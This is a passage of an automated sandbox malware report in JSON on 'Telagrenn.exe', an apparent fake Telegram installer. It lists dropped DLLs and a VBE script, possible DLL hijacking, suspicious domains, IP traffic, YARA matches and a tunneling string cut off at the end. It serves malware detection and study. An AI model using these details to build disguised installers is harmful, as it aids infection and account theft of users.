\"td.telegram.org\"\n \"www.dagfgwer.com\"\n \"www.fergcvbt.com\"\n \"www.gerwqcs.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00006908-00000C2B-653030297]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00006908-00000C2B-653264305]\n Observed system executable string:\"%WINDIR%\\system32\\shell32.dll\" [Source: 00000000-00007176-00000C2B-660668854]\n Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00007736-00000C2B-662164750]\n Observed system executable string:\"%WINDIR%\\system32\\shfolder.dll\" [Source: 00000000-00007736-00000C2B-669524089]\n Observed system executable string:\"%WINDIR%\\system32\\Rstrtmgr.dll\" [Source: 00000000-00007736-00000C2B-669561174]\n Observed system executable string:\"%WINDIR%\\system32\\shlwapi.dll\" [Source: 00000000-00007736-00000C2B-670075130]\n Observed system executable string:\"%WINDIR%\\system32\\sfc.dll\" [Source: 00000000-00007736-00000C2B-684577647]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"tsetup-x64.7.0.2.tmp\" searching for class \"Shell_TrayWnd\"\n \"Telegram.exe\" searching for class \"Shell_TrayWnd\"\n \"D5rra.tmp\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$4e","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Telagrenn.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"CoreLogic.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"genteert.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"guig.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"D5rra.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"is-7JH8E.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"is-3R46B.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"is-4O7G3.tmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"Telagrenn.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\genteert.dll\"\n \"Telagrenn.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\gentee2B\\guig.dll\"\n \"Telagrenn.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\gentee2B\\setup_temp.gea\"\n \"Telagrenn.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\gentee2B\\D5rra.exe\"\n \"Telagrenn.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\gentee2B\\tsetup-x64.7.0.2.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"System.IsAttachment\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")\n Found string \"System.Message.AttachmentContents\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")\n Found string \"System.Message.AttachmentNames\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")\n Found string \"System.Message.HasAttachments\" (Source: \"00000000-00001040.00000000.110716.755D0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts to launch the Installer package binary","description":"Process \"tsetup-x64.7.0.2.tmp\" with commandline \"/SL5=\"$8036C\n53101816\n826880\n%TEMP%\\\\gentee2B\\\\tsetup-x64.7.0.2.exe\"\" (UID: 00000000-00007736)\n Process \"D5rra.tmp\" with commandline \"/SL5=\"$60388\n20804243\n926208\n%TEMP%\\\\gentee2B\\\\D5rra.exe\"\" (UID: 00000000-00002688)","origin":"Monitored Target","mitre_attack_id":"T1546.016","relevance":3,"id":"target-670","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"cscript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"Telegram.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4f","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$50","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$51","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"CoreLogic.dll\" has type \"PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\is-CAG3H.tmp\\CoreLogic.dll]- [targetUID: 00000000-00002688]\n \"genteert.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\genteert.dll]- [targetUID: 00000000-00002804]\n \"guig.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\gentee2B\\guig.dll]- [targetUID: 00000000-00002804]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$52","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"Telagrenn.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\gentee2b\\setup_temp.gea\"\n \"Telagrenn.exe\" reads file \"c:\\telagrenn.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$54","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Telagrenn.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"Telagrenn.exe\" trying to touch file \"C:\\WINDOWS\\system32\\wow64log.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Telagrenn.exe\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\win32u.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\msvcp_win.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\gdi32full.dll\"\n \"Telagrenn.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\gdi32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$55","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"$56","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$58","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\genteert.dll\"\n \"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\gentee2b\\guig.dll\"\n \"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\gentee2b\\setup_temp.gea\"\n \"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\telegram\\adddf.vbe\"\n \"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\gentee2b\\d5rra.exe\"\n \"Telagrenn.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\gentee2b\\tsetup-x64.7.0.2.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"tsetup-x64.7.0.2.tmp\" writes a file \"%APPDATA%\\Telegram Desktop\\unins000.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetGetUniversalNameW\" (Indicator: \"WNetGetUniversalName\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"WNetGetConnection\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"WNetCloseEnum\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetGetUserA\" (Indicator: \"WNetGetUser\"; Source: \"00000000-00002804-00000C2C-650946028\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00003244-00000C2C-740204333\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00003244-00000C2C-745965363\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /api\"\n Found http requests in header \"GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f\"\n Found http requests in header \"GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0\"\n Found http requests in header \"GET /current4\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"Telagrenn.exe\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetGetUniversalNameW\" (Indicator: \"WNetGetUniversalName\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \" socket \"; File: \"log_start0.txt\")\n file/memory contains long string with (Indicator: \" socket \"; File: \"log_start1.txt\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00003244-00000C2C-740130075\")\n Found reference to API \"[09:20:00.233 00-0000013] Socket connected, this is not the first application instance, sending show command...\" (Indicator: \" socket \"; Source: \"00000000-00001040.00000000.110716.73424000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 95.161.76.100 on port 80\n HTTP traffic to 149.154.167.51 on port 80\n HTTP traffic to 149.154.175.100 on port 80\n HTTP traffic to 149.154.175.54 on port 80\n HTTP traffic to 149.154.167.41 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"firebaseremoteconfig.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")\n Found string \"firestore.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5d","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$5e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$5f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"mozilla.cloudflare-dns.com\" has high entropy\n Contacted domain: \"firestore.googleapis.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"$60","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec\n Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://jrsoftware.org\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"google.ru\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://mozilla.cloudflare-dns.com/dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f\n Found HTTPS GET request to https://mozilla.cloudflare-dns.com/dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0\n Found HTTPS GET request to https://td.telegram.org/current4\n Found HTTPS GET request to https://www.fergcvbt.com/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"firebaseremoteconfig.googleapis.com\" (83 days old)\n Short term registered certificate: \"google.ru\" (83 days old)\n Short term registered certificate: \"mozilla.cloudflare-dns.com\" (90 days old)\n Short term registered certificate: \"www.fergcvbt.com\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.51\" on port \"443\"\n HTTPS traffic to \"95.161.76.100\" on port \"443\"\n HTTPS traffic to \"149.154.175.100\" on port \"443\"\n HTTPS traffic to \"172.64.41.4\" on port \"443\"\n HTTPS traffic to \"142.251.214.99\" on port \"443\"\n HTTPS traffic to \"172.217.113.4\" on port \"443\"\n HTTPS traffic to \"194.221.250.50\" on port \"443\"\n HTTPS traffic to \"149.154.167.220\" on port \"443\"\n HTTPS traffic to \"149.154.175.54\" on port \"443\"\n HTTPS traffic to \"149.154.167.41\" on port \"443\"\n HTTPS traffic to \"104.21.33.36\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Pattern Matching","name":"Detected QR code in the sample","description":"Found qr code in \"(File: \"QR Code\") tg://login?token=AQGf1Ltqn6zsvU9HJcEYUTMbDir-5k9ZaNBUvYkV6r6zng==\"","origin":"File/Memory","mitre_attack_id":"T1566.002","relevance":1,"id":"string-995","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"is-E85C2.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"is-4O7G3.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm file \"is-PVEBQ.tmp\"\n YARA signature for encryption algorithm process \"00000000-00002316\"\n YARA signature for encryption algorithm process \"00000000-00003244\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – PEB traversal","description":"YARA signature for PEB traversal file \"is-3R46B.tmp\"\n YARA signature for PEB traversal file \"is-4O7G3.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":1,"id":"yara-166","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection","description":"Wow64RevertWow64FsRedirection@KERNEL32.DLL at 00000000-00006424-18661-3785-00135910\n Wow64DisableWow64FsRedirection@KERNEL32.DLL at 00000000-00006424-18661-3787-001358D4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070","relevance":1,"id":"stream-78","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Remote Access Related","name":"Able to use IDE tunneling for remote connection","description":"Found string \"\"%ALLUSERSPROFILE%\\Microsoft\\System\\System.exe\" access tcp --url 